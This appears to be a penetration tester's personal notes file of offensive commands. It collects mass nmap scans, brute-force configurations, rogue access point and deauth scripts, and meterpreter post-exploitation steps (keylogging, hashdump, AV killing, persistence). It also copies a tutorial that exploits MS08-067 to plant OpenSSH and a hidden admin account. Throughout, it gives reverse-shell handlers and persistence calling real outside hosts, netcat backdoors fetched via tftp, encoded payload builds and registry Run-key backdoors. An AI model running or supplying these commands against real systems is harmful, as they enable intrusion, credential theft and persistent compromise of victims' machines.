# class b ADDfff -Pn to not ping ( assume up and no ping scan, it will take longer ) use control + D to end script and save at job
# this will run at 7pm in a screen so you can reattach / check status and Ctrl+c out to save and use nmap -r to resume if need be
at 19:00
screen bash at.sh
# at.sh script
nmap -T5  -p 20,21,80,115,443,989,990 -vvvv -sS  -n --max-rtt-timeout 300ms --max-retries 1 192.159.0.0/16 -oA /home/administrator/rmccurdy/safg/192.159.0.0_fast_ping
# class b external 65k host fast ping scan 7 ports 30min
# Nmap 5.61TEST2 scan initiated Thu Dec 29 21:02:11 2011 as: nmap -T5 -p 20,21,80,115,443,989,990 -vvvv -sS -n --max-rtt-timeout 300ms --max-retries 1 -oA /home/administrator/rmccurdy/safg/192.30.0.0_fast_ping 192.30.0.0/16
# Ports scanned: TCP(7;20-21,80,115,443,989-990) UDP(0;) SCTP(0;) PROTOCOLS(0;)
# Nmap done at Thu Dec 29 21:29:10 2011 -- 65536 IP addresses (40675 hosts up) scanned in 1618.92 seconds

nmap -p53 -script dns-zone-transfer -script-args dnszonetransfer.domain=aeiginsurance.com


# medusa hydra
./sfuzz -T O -f sfuzz-sample/basic.http -S 50.74.10.218 -p 179


http://www.foofus.net/~jmk/medusa/medusa.html
medusa -M ftp -H targets -u Anonymous -p KPMG_AUDIT -v 6 -T 30 -g 2 -R 1
medusa -M mysql -H # change the -T for more threds -t is for per host keep it 1 ..
medusa -M ssh -H 22 -u root -p tcr1tt3r -v 6 -g 2 -R 1 -t 1 -T 1
medusa -h 192.168.1.103 -u administrator -P passwords.txt -e ns -M smbnt


mysql -u root -P mysqlpass.txt -v 6 -T 1 -g 2 -R 1
nmap --script=smtp-open-relay.nse -p 25 -iL 25 -n

# email over telnet
RSET
HELO
MAIL FROM:<root@whatismyip.com>
RCPT TO:<"freeload101@yahoo.com">
data
this is a test from KPMG w00t
.
--------
route add 10.101.14.0 netmask 255.255.255.0 gw 10.101.13.1 dev eth05

.\nmap -script smb-check-vulns.nse --script-args=unsafe=1 -p445 10.104.101.59
.\nmap --script smb-enum-shares.nse -p445 10.104.101.59
.\nmap --script smb-enum-users.nse -p445 10.104.101.59
.\nmap.exe --script smtp-commands.nse -pT:25,465,587
.\nmap.exe --script smtp-enum-users.nse -pT:25,465,587
 a

# sid enum using nmap and metasploits sid.txt 1307 sids in ~8 seconds
nmap -n --script=oracle-sid-brute -p 1521-1560 192.168.1.141

# try 1255 user/pass
# requires valid SID  ( default is XE )
# Performed 1245 guesses in 3 seconds, average tps: 415
nmap --script oracle-brute -p  1521-1560 --script-args oracle-brute.sid=XE  -n 192.168.1.141

# oracle shell using OAT Oracle Audit Tool
ose.bat -s 192.168.1.141 -u SYS -p CHANGE_ON_INSTALL -d XE -t Windows

# route all to 10.127.120.97
route add 0.0.0.0 mask 0.0.0.0 10.127.120.97
# route 75.131.211.0 to VPN or other connectoin
route add 75.131.211.0 mask 255.255.255.0 192.168.77.254
# route rmccurdy over VPN
route add 75.131.211.0 mask 255.255.255.0 10.31.128.1


warvox notes:
* you also have to contact support and have IAX unlocked on the account
· Normally I have 3 max threads and set it for 15-20 sec then with sql get the completed = 0 and run them thought again with 53 sec ringtime.
· Let me know if you need any help
google warvox for general notes "login etc .. just read all of it please ... use vitelity as the provider )
3 at a time max ..
screen
ruby warvox.rb ( run warvox in screen so you can screen -r if you get dropped google screen Manuel ... )
use SELF as the caller ID
ranges are 15555555555:15555555555
or 155555XXX


SELECT * FROM DIAL_RESULTS where completed = 'f' and dial_job_id >= '68' and busy = 'f' and ringtime <= '52';
* if don.t add the .and ringtime <= '52' I get 2K hits . I would assume this is because it if did not answer it labeled it as not completed instead of labeling it timeout for some reason ?
* ~700 ringtime <= '52' with no data file... some high ringtimes but most were instant busy signal but not marked as complete or busy with no data file
SELECT count(*) FROM DIAL_RESULTS where dial_job_id = '110' and line_type = 'voice' ;
SELECT count(*) FROM DIAL_RESULTS where dial_job_id = '110' and line_type = 'fax' ;
SELECT count(*) FROM DIAL_RESULTS where dial_job_id = '110' and line_type = 'modem' ;
SELECT * FROM DIAL_RESULTS where dial_job_id = '110' and busy = 't';


rcracki_mt /s2/LM/lm_alpha-numeric-symbol32-space#1-7_* -f /usr/local/sbin/hash
rcrack /s2/LM/lm_alpha-numeric-symbol32-space#1-7_* -f hash2
# example input file 4ee is null or blank
# Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
#notes
http://ob-security.info/?tag=hashcat





wget -O giskismet-0.02.tar.gz \
"http://my-trac.assembla.com/giskismet/browser/tags/giskismet-0.02.tar.gz?format=raw"
tar -xzvf giskismet-0.02.tar.gz
rm giskismet-0.02.tar.gz

We need a few packages first.

apt-get update
apt-get install libxml-libxml-perl libdbi-perl libdbd-sqlite3-perl -y

Do the install


cd giskismet-0.02
perl Makefile.PL
make
make install



giskismet -x wardrive.netxml
giskismet -q "select * from wireless" -o output.kml


giskismet -q 'select * from wireless where ESSID like "_%"' wireless.dbl  -o ouput2.kml


Before we map our dat

# following steps are for BT4:
# edit the kismet.conf and add the /dev/ttyUSB0 etc .. (find / -name kismet.conf )
# load the kernal mod for garmin gps
modprobe garmin_gps
# plugin the the garmion GPS18 USB puck
# if I dont run this command it hangs and kill -9 will not even work so have to reboot
mount -t usbfs none /proc/bus/usb/
# setup gpsd shoud show changy bits so you know it is trying to lock !
dpkg-reconfigure gpsd
#start gpsd
/etc/init.d/gpsd stop
gpsd -N -n -D 2 /dev/ttyUSB0
# test
ls -al /dev/ttyUSB0
xgps
#also test by
telnet localhost 2947
# in kismet you will get nodata untill it has a lock ( this took upto 500seconds in xgps ) you can run XGPS and KISMET at the same time.

/etc/init.d/wicd stop
/etc/init.d/networking stop
killall dhclient dhcpcd




# ssh logins
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 10.13.102.2,177
set USER_FILE "C:/wordlist/password_small.txt"
set RHOSTS_FILE "C:/wordlist/targests.txt"
run
back
use auxiliary/gather/dns_enum
set DOMAIN 10.21.1.69
run





--------------------------------------

airbase notes
------------
mass deauth
# broken because you need listen on the right channel before you deauth ... so I need channel and sesstion and ap info all in one line ..
# cleanup
rm -f clients*.csv
# dump clients
airodump-ng mon0 -o csv -w clients &
# lets sleep on it we need station ids
sleep 60
killall airodump-ng
# make script to mass deauth
grep -ia -A 10000  Station clients*.csv |egrep -v "(not|Station)" | sed 's/,/ /g' | awk '{print "aireplay-ng -0 1 -a",$8,"mon0 --ignore-negative-one  -c",$1}'|grep : > killclients
bash -x killclients
-----------------------------------------------
gogogo
----------------
^Croot@bt:/stuff/airbase# cat GO

killall  avahi-daemon avahi-daemon NetworkManager wpa_supplicant
killall dhcpd3 dhclient dhclient3 dhcpcd dhcpd
airmon-ng start wlan1
sleep 5
xterm -e "airbase-ng -c 6 -P mon0 -v" &
sleep 5
ifconfig at0 up 10.0.0.1 netmask 255.255.255.0 &
dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0 &
sleep 5
cd /pentest/exploits/framework &
xterm -e "tcpdump -i at0 -n port 67 and port 68"  &
sleep 5
xterm -e "/pentest/exploits/framework/msfconsole -r /pentest/exploits/framework/karma.rc"
------------------
# depends for airdcrack

apt-get install build-essential  -y
apt-get install libssl-dev -y
apt-get install openssl-dev -y
apt-get install partimage gparted lynx links curl nmap iotop screen medusa trafshow wireshark -y --force-yes
# more depends set autopwn
apt-get install upx-ucl upx-nrv -y
apt-get install build-essential ruby libruby rdoc libyaml-ruby libzlib-ruby libopenssl-ruby libdl-ruby libreadline-ruby libiconv-ruby libgtk2-ruby libglade2-ruby subversion sqlite3 libsqlite3-ruby irb -y
apt-get install ruby libruby rdoc -y
apt-get install libyaml-ruby -y
apt-get install libzlib-ruby -y
apt-get install libopenssl-ruby -y
apt-get install libdl-ruby -y
apt-get install libreadline-ruby -y
apt-get install libiconv-ruby -y
apt-get install rubygems -y

#apt-get install postgresql postgresql-client postgresql-contrib -y
apt-get install pgadmin3 -y
apt-get install python-pymssql -y
gem1.8 install rails
# get set and msf
mkdir /pentest/
mkdir /pentest/exploits
cd /pentest/exploits
# check out /install  aircrack latest
svn co http://trac.aircrack-ng.org/svn/trunk/ aircrack-ng
cd aircrack-ng
make clean
make
make install
airodump-ng-oui-update
# create mon0
airmon-ng start wlan1
# start airbase on mon0 it creates at0 to us with dhcpd ! ( may not need to include channel ... )
airbase-ng -c 6 -P mon0 -v
# install dhcp3 server
apt-get install  dhcp3-server -y
-----------------------------------------------------------
# DHCP CONF
cat /etc/dhcp3/dhcpd.conf
----------------------------------------------------------------
option domain-name-servers 10.0.0.1;
default-lease-time 60;
max-lease-time 72;
ddns-update-style none;
authoritative;
log-facility local7;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.100 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 10.0.0.1;
}
-------------------------------------------------------------------------------
# setup at0 interface that airbase created to listen on IP configured for dhcp server
ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
# start dhcp server
dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
# cd to framework root ..
cd /pentest/exploits/framework
wget http://digitaloffense.net/tools/karma.rc -O karma.rc
# start msfconsole using the mass client sides basicly karma.rc
msfconsole -r karma.rc
# start TCP dump looking for DHCP requests from the remote host !
tcpdump -i at0 -n port 67 and port 68
# mass client side too buggy ... to many iframes ... come back to it ... try SMB_REPLAY attack ...? or limit client side attacks ?
# for mass client side attack using etterfilter for targets:
apt-get install ettercap -y
# run mass client side attack
cd /pentest/exploits/fasttrack
fast-track.py -i
# choose mass client side attack etc and run metasploitloadfile manuely ...
# when all is running etc ....  start msfconsole with the metasploitloadfile script in the base folder of fasttrack
msfconsole -r metasploitloadfile
http://digitaloffense.net/tools/karma.rc
+-+-+-
airmon-ng start wlan0
airbase-ng -c 9 -P -C60  -z 2 -W 1 mon0
ifconfig wlan0 up 10.0.0.1 netmask 255.255.255.0
    dhcpd3 -cf /etc/dhcp3/dhcpd.conf -f log wlan0
killall dhclient dhcpcd dhclient3
airmon-ng start wlan1
airbase-ng -c 9 -P -C60  -z 2 -W 1 mon1
ifconfig wlan1 up 10.0.0.1 netmask 255.255.255.0
dhcpd3 -cf /etc/dhcp3/dhcpd.conf -f log wlan1
iptables --table nat --append POSTROUTING --out-interface eth1 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
#airbase-ng -c 9 -P -C60  -z 2 -W 1 mon1
00:0C:43:41:46:34  -37           13            2        0   6  54e. WPA  TKIP   PSK  rmccurdyDOTcom1

airbase-ng -c 6 -a  00:0C:43:41:46:34 -C60  -z 2 -W 1 -v --essid rmccurdyDOTcom1 mon0
dhcpd3 -cf /etc/dhcp3/dhcpd.conf -f log wlan1
i
dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
tcpdump -i at0 -n port 67 and port 68
 armatage
apt-get install -y postgresql
apt-get install libpq-dev -y
gem install postgres

/etc/init.d/postgresql start



su -
su - postgres


createuser msf_user -P
createdb --owner=msf_user msf

/pentest/exploits/framework/msfrpcd -f -U msf -P msf -t Basic
/pentest/exploits/framework/armitage
wifi notes
------------------------
internet@rmccurdydotcom /cygdrive/c/temp
# egrep "BSSID|<manuf>|<max_signal_dbm>|<ssid>" "Kismet-20110929-11-17-47-1.net
xml" | tr -d '\n' |  awk '{gsub("<BSSID>",",\n"); print}' | sed -e 's/<\/BSSID>
/,/g' -e 's/        <manuf>//g' -e 's/<\/manuf>//g' -e 's/          <max_signal_dbm>/,/
g' -e 's/<\/max_signal_dbm>/,/'g -e 's/                <ssid>/,/g' -e 's/<\/ssid>//
g'> 2.csv
internet@rmccurdydotcom /cygdrive/c/temp
# load the kernal mod for garmin gps
modprobe garmin_gps
# plugin the the garmion GPS18 USB puck
# if I dont run this command it hangs and kill -9 will not even work so have to reboot
mount -t usbfs none /proc/bus/usb/
# setup gpsd
dpkg-reconfigure gps
# test
ls -al /dev/ttyUSB0
xgps
#also test by
telnet localhost 2947
# in kismet you will get nodata untill it has a lock ( this took upto 500seconds in xgps ) you  can run XGPS and KISMET at the same time.

------------------------




----------------------

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST rmccurdy.com
set LPORT 21
set ExitOnSession false
# set AutoRunScript pathto script you want to autorun after exploit is run
set AutoRunScript persistence -r 75.139.158.51 -p 21 -A -X -i 30

exploit -j -z



# file_autopwn
rm -Rf /tmp/1
mkdir /tmp/1
rm -Rf ~/.msf3

wget -O /tmp/file3.pdf https://www1.nga.mil/Newsroom/PressReleases/Press%20Releases/nga10_02.pdf

./msfconsole

db_driver sqlite3
db_create pentest11
setg LHOST 75.139.158.51
setg LPORT 21
setg SRVPORT 21
setg LPORT_WIN32 21

setg INFILENAME /tmp/file3.pdf


use auxiliary/server/file_autopwn

set OUTPATH /tmp/1

set URIPATH /msf
set SSL true
set ExitOnSession false
set PAYLOAD windows/meterpreter/reverse_tcp
setg PAYLOAD windows/meterpreter/reverse_tcp
set AutoRunScript persistence -r 75.139.158.51 -p 21 -A -X -i 30
run



# shows all the scripts
run [tab]

# persistence! broken ...if you use DNS name ..
run persistence -r 75.139.158.51 -p 21 -A -X -i 30
# new method run persistence -U -i 5 -p 443 -r 192.168.1.71

run get_pidgin_creds

idletime
sysinfo


# SYSTEM SHELL ( pick a proc that is run by system )
migrate 376
shell

# session hijack tokens
use incognito
impersonate_token "NT AUTHORITY\\SYSTEM"

# eslcate to system
use priv
getsystem


execute -f cmd.exe -H -c -i -t
execute -f cmd.exe -i -t

# list top used apps
run prefetchtool -x 20

# list installed apps
run prefetchtool -p

run get_local_subnets

# find and download files
run search_dwld "%USERPROFILE%\\my documents" passwd
run search_dwld "%USERPROFILE%\\desktop passwd
run search_dwld "%USERPROFILE%\\my documents" office
run search_dwld "%USERPROFILE%\\desktop" office

# alternate
download -r "%USERPROFILE%\\desktop"  ~/
download -r "%USERPROFILE%\\my documents"  ~/

# alternate to shell not SYSTEM
# execute -f cmd.exe -H -c -i -t


# does some run wmic commands etc
run winenum



# rev shell the hard way
run scheduleme -m 1 -u /tmp/nc.exe -o "-e cmd.exe -L -p 8080"

# An example of a run of the file to download via tftp of Netcat and then running it as a backdoor.
run schtasksabuse-dev -t 192.168.1.7 -c "tftp -i 192.168.1.8 GET nc.exe,nc -L -p 8080 -e cmd.exe" -d 4
run schtasksabuse -t 192.168.1.7 -c "tftp -i 192.168.1.8 GET nc.exe,nc -L -p 8080 -e cmd.exe" -d 4

# vnc / port fwd for linux
run vnc

# priv esc
run kitrap0d



run getgui

# somewhat broken .. google sdt cleaner  NtTerminateProcess !@?!?!
run killav

run winemun

run memdump

run screen_unlock

upload /tmp/system32.exe C:\\windows\\system32\\
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v system32 -d "C:\\windows\\system32\\system32.exe -Ldp 455 -e cmd.exe"
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v system32
reg enumkey -k HKLM\\system\\controlset001\services\\sharedaccess\\parameters\\firewallpolicy\\Standardprofile\\authorizedapplications\\list
reg setval -k HKLM\\system\\controlset001\services\\sharedaccess\\parameters\\firewallpolicy\\Standardprofile\\authorizedapplications\\list -v sys
reg queryval -k HKLM\\system\\controlset001\services\\sharedaccess\\parameters\\firewallpolicy\\Standardprofile\\authorizedapplications\\list -v system32
upload /neo/wallpaper1.bmp "C:\\documents and settings\\pentest3\\local settings\\application data\\microsoft\\"




getuid
ps
getpid
keyscan_start
keyscan_dump
migrate 520
portfwd add -L 104.4.4 -l 6666 -r 192.168.1.1 -p 80"
portfwd add -L 192.168.1.1 -l -r 10.5.5.5 -p 6666

shell
run myremotefileserver_mserver -h
run myremotefileserver_mserver -p 8787

run msf_bind
run msf_bind -p 1975
rev2self
getuid

getuid



enumdesktops
grabdesktop

run deploymsf -f framework-3.3-dev.exe

run hashdump
run metsvc
run scraper
run checkvm
run keylogrecorder
run netenum -fl -hl localhostlist.txt -d google.com
run netenum -rl -r 10.192.0.50-10.192.0.254
run netenum -st -d google.com
run netenum -ps -r 10.192.0.50-254


# Windows Login Brute Force Meterpreter Script
run winbf -h

# upload a script or executable and run it
uploadexec


# Using Payload As A Backdoor  from a shell

REG add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Run /v firewall /t REG_SZ /d "c:\windows\system32\metabkdr.exe" /f
at 19:00 /every:M,T,W,Th,F cmd /c start "%USERPROFILE%\metabkdr.exe"
SCHTASKS /Create /RU "SYSTEM" /SC MINUTE /MO 45 /TN FIREWALL /TR "%USERPROFILE%\metabkdr.exe"  /ED 11/11/2011



# kill AV this will not unload it from mem it needs reboot or kill from memory still ... Darkspy, Seem, Icesword GUI can kill the tasks
catchme.exe  -K "c:\Program Files\Kaspersky\avp.exe"
catchme.exe  -E "c:\Program Files\Kaspersky\avp.exe"
catchme.exe  -O "c:\Program Files\Kaspersky\avp.exe" dummy

Nessus Scanning through a Metasploit Meterpreter Session
By
Mark Baggett
on March 16, 2010 6:44 AM | Permalink

By Mark Baggett

Scenario: You are doing a penetration test. The client's internet face is locked down pretty well. No services are exposed externally and only HTTP/HTTPS are allowed OUT of the corporate firewall. You email in a carefully crafted email with the meterpreter attacked. An accommodating users is more than happy to click your attachment giving you meterpreter access to their machine. Now what? How about using Nessus to scan all the services on their internal network? Here is a tutorial on how to do it.

The Players
Attacker 172.16.186.132
Victim 172.16.186.126

Step 1 - After you have meterpreter access install OpenSSH on the victim's computer. Joff Thyer, packet guru, crazy aussie and all around smart guy did a great job of outlining the install process on his blog. I pretty much just followed his instructions here.

Step 2 - After you've installed OpenSSH and setup your account use Meterpreters PORTFWD command to forward a port from the attacker's machine to the SSH listener on the victim's machine. For example:

meterpreter> portfwd add -L 172.16.186.132 -l 8000 -r 172.16.186.128 -p 22

This command sets up a listener on port 8000 of the attacker's IP (172.16.186.132) and forwards packets to port 22 on the victim's machine (172.16.186.128).


Step 3 - SSH into the portfwd port you just created and setup a dynamic port forwarder on your machine. For example:

# ssh -D 127.0.0.1:9000 -p 8000 username@172.16.186.132

This command sets up a SOCKS4 proxy on port 9000 which is forwarded through the SSH session on the victim.

Step 4 - Use PROXYCHAINS to forward your nessusd traffic through the SOCKS4 listener on port 9000. This is as simple as changing the TCP port on the last line of /etc/proxychains.conf from its default of 9050 to port 9000 and launching nessusd through proxychains as follows:

# proxychains /usr/sbin/nessusd -D

Step 5 - Start the nessus client and do you scan.

Preparing for a custom command line OpenSSH Installation in your lab

The basic steps to prepare a command line OpenSSH installation for Windows are as follows:

1. Download the setupssh.exe installation package from http://sshwindows.sourceforge.net/download

2. Run the GUI installer package on your Windows lab/test machine. I suggest accepting the default program location of C:\Program Files\OpenSSH

3. Get a full copy of all of the files under the directory C:\Program Files\OpenSSH onto a USB flash drive or other favorite media. Copy recursively with XCOPY and make sure you fully retain the directory structure.

4. Export the following registry keys using the REG EXPORT command as follows:

REG EXPORT .HKLM\SOFTWARE\Cygnus Solutions. 1.REG
REG EXPORT .HKLM\SYSTEM\CurrentControlSet\Services\OpenSSHd. 2.REG
REG EXPORT .HKLM\SYSTEM\ControlSet001\Services\OpenSSHd. 3.REG

5. Concatenate all of these registry files together into one file.
TYPE 1.REG 2.REG 3.REG >OPENSSH.REG

6. Save this OPENSSH.REG file into your local copy of all of the openssh directory structure.


Performing an installation via command shell

Now that you have all of this data saved on your USB thumb drive, lets assume that our penetration testing machine is a CentOS Linux operating system with IP address of 192.168.1.37, and that our target is a Windows 2003 SP0 machine with IP address of 192.168.1.40. Our penetration testing Linux machine has our OpenSSH package files mounted under /mnt/PenTestTools/win32/OpenSSH.

Our target happens to have the MS08-067 Server Service RPC vulnerability. Below is an example of how we exploit this vulnerability using Metasploit (www.metasploit.com) with the Meterpreter payload, upload our OpenSSH server files, add a new username, perform some minimal configuration and start the OpenSSH service.


Exploiting the Vulnerability

[root@localhost framework-3.2]# nc -v 192.168.1.40 445
Connection to 192.168.1.40 445 port [tcp/microsoft-ds] succeeded!
[root@localhost framework-3.2]# ./msfconsole

msf > search exploits ms08_067
[*] Searching loaded modules for pattern 'ms08_067'...
Exploits
========
Name Description
---- -----------
windows/smb/ms08_067_netapi Microsoft Server Service Relative Path Stack Corruption
msf > use windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.40
RHOST => 192.168.1.40
msf exploit(ms08_067_netapi) > set TARGET 5
TARGET => 5
msf exploit(ms08_067_netapi) > show options

... truncated output ...
Exploit target:

Id Name
-- ----
5 Windows 2003 SP0 Universal


msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Triggering the vulnerability...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.1.37:45633 -> 192.168.1.40:4444)

meterpreter > sysinfo
Computer: SYSTEM-HJ28HHGL7N
OS : Windows .NET Server (Build 3790, ).


Uploading your OpenSSH Files

meterpreter > lcd /mnt/PenTestTools/win32/OpenSSH
meterpreter > lpwd
/mnt/PenTestTools/win32/OpenSSH
meterpreter > cd \
meterpreter > cd "Program Files"
meterpreter > mkdir openssh
Creating directory: openssh
meterpreter > cd openssh
meterpreter > pwd
C:\Program Files\openssh
meterpreter > upload -r . .
[*] uploading : ./uninstall.exe -> .\uninstall.exe
[*] uploaded : ./uninstall.exe -> .\uninstall.exe
[*] mirroring : ./bin -> .\bin
[*] uploading : ./bin/chmod.exe -> .\bin\chmod.exe
[*] uploaded : ./bin/chmod.exe -> .\bin\chmod.exe
[*] uploading : ./bin/chown.exe -> .\bin\chown.exe
[*] uploaded : ./bin/chown.exe -> .\bin\chown.exe
[*] uploading : ./bin/cygcrypto-0.9.7.dll -> .\bin\cygcrypto-0.9.7.dll
[*] uploaded : ./bin/cygcrypto-0.9.7.dll -> .\bin\cygcrypto-0.9.7.dll
.... lots of output truncated ....

meterpreter > execute -f cmd.exe .i
Process 848 created.
Channel 66 created.



Modifying the Registry and Adding Your Own Username

Here, we import all of our registry keys, then add our own username making sure to put it into the administrators group. Then we create the passwd and group files that OpenSSH needs for authentication purposes.


Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\Program Files\openssh>whoami
whoami
nt authority\system

C:\Program Files\openssh>reg import openssh.reg
reg import openssh.reg
The operation completed successfully.

C:\Program Files\openssh>net user inet_p0wned gameover /add
net user inet_p0wned gameover /add
The command completed successfully.


C:\Program Files\openssh>net localgroup administrators inet_p0wned /add
net localgroup administrators inet_p0wned /add
The command completed successfully.


C:\Program Files\openssh>cd etc
cd etc

C:\Program Files\openssh\etc>..\bin\mkpasswd -l >passwd
..\bin\mkpasswd -l >passwd
C:\Program Files\openssh\etc>..\bin\mkgroup -l >group
..\bin\mkgroup -l >group

C:\Program Files\openssh\etc>sc create opensshd binpath= "c:\program files\openssh\bin\cygrunsrv.exe" start= auto
sc create opensshd binpath= "c:\program files\openssh\bin\cygrunsrv.exe" start= auto
[SC] CreateService SUCCESS



Start the OpenSSH Service

C:\Program Files\openssh\etc>sc start opensshd
sc start opensshd
SERVICE_NAME: opensshd
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE,
IGNORES_SHUTDOWN))
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 1916
FLAGS :

C:\Program Files\openssh\etc>sc query opensshd
sc query opensshd
SERVICE_NAME: opensshd
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN))
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0

C:\Program Files\openssh\etc>netsh firewall add port protocol=tcp port=22 name=sshd mode=enable scope=custom addresses=192.168.1.0/24

The following command was not found: firewall add port protocol=tcp port=22 name=sshd mode=enable scope=custom addresses=192.168.1.0/24**

**Note: adding a port for the firewall is necessary if the firewall exists. If not, then you will get the command not found error message. It is a good idea to restrict the source networks so that you don.t leave a gaping opportunity while testing.

C:\Program Files\openssh\etc>exit
exit
meterpreter > quit

[*] Meterpreter session 1 closed.
msf exploit(ms08_067_netapi) > quit





Now, lets go ahead and SSH into our Windows server to check if things worked!


root@localhost:~/framework-3.2]# ssh inet_p0wned@192.168.1.40
The authenticity of host '192.168.1.40 (192.168.1.40)' can't be established.
RSA key fingerprint is ab:c8:bf:9f:b2:38:32:1d:6f:2b:34:a5:d0:99:dc:49.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.40' (RSA) to the list of known hosts.

OpenSSH for Windows. Welcome aboard!

inet_p0wned@192.168.1.40's password:
Could not chdir to home directory /home/inet_p0wned: No such file or directory
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\Program Files\OpenSSH>
C:\Program Files\OpenSSH>whoami
system-hj28hhgl7n\inet_p0wned

C:\Program Files\OpenSSH>exit
Connection to 192.168.1.40 closed.
[root@localhost framework-3.2]#


Cleaning up

To clean up everything when you are finished, you need to delete the OpenSSH service, delete the registry keys and remove all of the relevant files. The following recipe should work reasonably well from a command shell. Remember that you cannot be using OpenSSH when deleting the service! So, you may need to exploit again with shell code before removing it.

C:\> SC STOP opensshd
C:\> SC DELETE opensshd
C:\> REG DELETE .HKLM\SOFTWARE\Cygnus Solutions. /f /va
C:\> REG DELETE .HKLM\SYSTEM\ControlSet001\Services\OpenSSHd. /f /va
C:\> REG DELETE .HKLM\SYSTEM\CurrentControlSet\Services\OpenSSHd. /f /va

C:\> CD "\Program Files"
C:\Program Files> RMDIR /Q /S opensshd
C:\Program Files> NETSH FIREWALL DELETE PORT TCP 22
C:\Program Files> NET USER inet_p0wned /DELETE # pivot
http://www.offensive-security.com/metasploit-unleashed/Pivoting

use exploit/windows/smb/psexec
set RHOST 10.1.13.2
set SMBUser Administrator
set SMBPass 81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d
set PAYLOAD windows/meterpreter/bind_tcp
exploit



# make exe
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.6.55 LPORT=443 R | ./msfencode -t exe -c 5 -o /tmp/bob.exe

# attacker listen
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.6.55
set LPORT 443
set ExitOnSession false
# set AutoRunScript pathto script you want to autorun after exploit is run
set AutoRunScript persistence -r 192.168.6.55 -p 443 -A -X -i 30

exploit -j -z


# armatage
apt-get install mysql-server -y
/etc/init.d/mysql start

mysqladmin -u root -ppassword password toor


/pentest/exploits/framework/msfrpcd -f -U msf -P test -t Basic



# armatage

apt-get install -y postgresql

apt-get install libpq-dev -y

gem install postgres

/etc/init.d/postgresql start


su -
su - postgres


createuser msf_user -P
createdb --owner=msf_user msf



/pentest/exploits/framework/msfrpcd -f -U msf -P msf -t Basic
/pentest/exploits/framework/armitage




net user newuserhere PASSWORDHERE /add
net localgroup administrators newuserhere /add


"c:\program files\nmap\nmap.exe" -vvv -n -p 1527,3200,3201,3300,3600,8000,8100,8101,40000-40005,50013,50113 -A 192.168.56,14,6,7,8,9.1-255 -oA sap

 ----




# ssh
use auxiliary/scanner/ssh/ssh_login

#set RHOSTS_FILE "C:/backup/wordlist/targests.txt"


set RHOSTS 4.59.139.135 4.59.139.136 4.59.139.140 63.116.61.25 63.116.61.26 63.116.61.34
# set USER_FILE "C:/backup/wordlist/password_large.txt"
set USERPASS_FILE "C:/backup/wordlist/root_userpass.txt"
set VERBOSE true
set STOP_ON_SUCCESS true
set BRUTEFORCE_SPEED 5
# set this to the number of host
set THREADS 6

run



use auxiliary/gather/dns_enum
set DOMAIN domain.com
run


#smb

use auxiliary/scanner/smb/smb_login

set RHOSTS file://192.168.8.39
set RHOSTS 127.0.0.1

set USER_FILE "C:/wordlist/users.txt"
set PASS_FILE "C:/wordlist/2.txt"
set VERBOSE false
# set to number of host scanning .
set THREADS 16

set STOP_ON_SUCCESS true
set VERBOSE true
set BLANK_PASSWORDS false


# http

use auxiliary/scanner/http/http_login
set AUTH_URI /folder?dcPath=ha-datacenter
set RHOSTS 127.0.0.1 127.0.0.1 127.0.0.1
set VERBOSE true
run




back

# telnet
use auxiliary/scanner/telnet/telnet_login
set RHOSTS 127.0.0.1,49,50

set PASS_FILE "C:/wordlist/password_small.txt"
set THREADS 254
run



back


# mssql
use auxiliary/scanner/mssql/mssql_login
set RHOSTS 127.0.0.1
set PASS_FILE "C:/wordlist/password_small.txt"
set USERNAME sa
set VERBOSE false
run


back



#ftp
use auxiliary/scanner/ftp/ftp_login
set RHOSTS  127.0.0.1
set PASS_FILE /home/administrator/alcoa/alcoa_small.txt
set USER_FILE /home/administrator/alcoa/alcoa_small.txt
set BRUTEFORCE_SPEED 1
run



#snmp
use auxiliary/scanner/snmp/snmp_login
set RHOSTS  127.0.0.1
set PASS_FILE "C:/wordlist/snmp_default_pass.txt"
set VERBOSE false

run



nmap --script=smtp-open-relay.nse -p 25 -iL 25 -n


./sfuzz -T O -f sfuzz-sample/basic.http -S 50.74.10.218 -p 179


#  onlt works for Delegation Tokens
list_tokens -u
impersonate_token ORACLE-ENT\\Administrator


# after hijack incognito
use auxiliary/server/capture/smb

